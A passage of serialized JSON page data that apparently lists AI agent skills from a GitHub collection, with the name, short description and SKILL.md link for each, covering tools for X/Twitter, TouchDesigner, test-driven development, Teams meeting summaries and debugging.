blogs.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fyoutube-content\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":19},"01M785WEFHB0G2S9YA6EPR3H0E","xurl","X\u002FTwitter via xurl CLI: post, search, DM, media, v2 API.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fxurl\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":19},"01M785W98EDN4EFJXJPMQEHCRC","touchdesigner-mcp","Control a running TouchDesigner instance via twozero MCP — create operators, set parameters, wire connections, execute Python, build real-time visuals. 36 native tools.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftouchdesigner-mcp\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":19},"01M785W5S9FP3QBH2V191E025P","test-driven-development","TDD: enforce RED-GREEN-REFACTOR, tests before code.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftest-driven-development\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":19},"01M785W2AS08NSSH9YATCV6FJB","teams-meeting-pipeline","Operate the Teams meeting summary pipeline via Hermes CLI — summarize meetings, inspect pipeline status, replay jobs, manage Microsoft Graph subscriptions.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fteams-meeting-pipeline\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M785VXKW4T34BTP1SCHW1R7F","systematic-debugging","4-phase root cause debugging: understand bugs before fixing.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fsystematic-debugging\u002FSKILL.md",[],[]]